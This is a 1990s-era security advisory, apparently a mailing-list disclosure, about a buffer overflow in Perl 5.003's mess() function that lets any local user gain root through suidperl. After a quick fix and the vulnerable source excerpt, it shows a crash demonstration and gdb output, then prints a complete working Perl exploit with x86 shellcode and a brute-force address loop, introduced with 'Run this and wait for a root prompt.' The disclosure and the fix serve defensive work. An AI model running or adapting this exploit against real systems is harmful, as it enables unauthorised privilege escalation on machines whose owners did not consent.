Any user can gain root privileges on a Intel Linux system with suidperl
5.003 (having the suid bit, of course) even if "SUIDBUF" and "two suidperl
security patches" have been applied. Non-Intel / non-Linux platforms may
be affected as well.
Quick fix:
chmod u-s /usr/bin/sperl5.003 (what else?)
Details:
There is a nasty bug in mess() (util.c): it is possible to overflow
its buffer (via sprintf()); mess() tries to detect this situation but
fails to handle the problem properly:
[excerpt from util.c]
if (s - s_start >= sizeof(buf)) { /* Ooops! */
if (usermess)
fputs(SvPVX(tmpstr), stderr);
else
fputs(buf, stderr);
fputs("panic: message overflow - memory corrupted!\n",stderr);
my_exit(1);
}
It does not abort immediately. It prints out an error message and calls
my_exit(1), and this is very bad.
$ perl -v
This is perl, version 5.003 with EMBED
Locally applied patches:
SUIDBUF - Buffer overflow fixes for suidperl security
built under linux at Apr 22 1997 10:04:46
+ two suidperl security patches
$ perl `perl -e "print 'A' x 3000"`
Can't open perl script "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
...AAAAAAAAAAAAAAAAA": File name too long
panic: message overflow - memory corrupted!
$ Can't open perl script "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
...AAAAAAAAAAAAAAAAA": File name too long
panic: message overflow - memory corrupted!
Segmentation fault (core dumped)
$ gdb /usr/bin/perl core
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.16 (i586-unknown-linux), Copyright 1996 Free Software Foundation,
Inc...
(no debugging symbols found)...
Core was generated by `perl AAAAA...'.
Program terminated with signal 11, Segmentation fault.
Reading symbols ...
...
#0 0x41414141 in ?? ()
(gdb)
Voila! 0x41414141 == "AAAA"
The variable called top_env has been overwritten. In fact, it is jmp_buf
and Perl calls longjmp() with it somewhere in my_exit().
Run this and wait for a root prompt:
[exploit code]
#!/usr/bin/perl
# yes, this suidperl exploit is in perl, isn't it wonderful? :)
$| = 1;
$shellcode =
"\x90" x 512 . # nops
"\xbc\xf0\xff\xff\xbf" . # movl $0xbffffff0,%esp
# "standard shellcode" by Aleph One
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
# start and end of .data
# adjust this using /proc/*/maps
$databot = 0x080a2000;
$datatop = 0x080ab000;
# trial and error loop
$address = $databot + 4;
while ($address < $datatop) {
$smash_me =
$shellcode . ('A' x (2052 - length($shellcode))) .
(pack("l", $address) x 1000) . ('B' x 1000);
$pid = fork();
if (!$pid) {
exec('/usr/bin/sperl5.003', $smash_me);
}
else {
wait;
if ($? == 0) {
printf("THE MAGIC ADDRESS WAS %08x\n", $address);
exit;
}
}
$address += 128;
}
[end of exploit code]
I have tested this on two Red Hat 4.2 systems running on Intel (with
perl-5.003-8 and -9). I am pretty sure any Intel-like Linux having
sperl5.003 is affected.
Other platforms may be affected too.
Perl 5.004 is NOT VULNERABLE.
--Pavel Kankovsky aka Peak (troja.mff.cuni.cz network administration)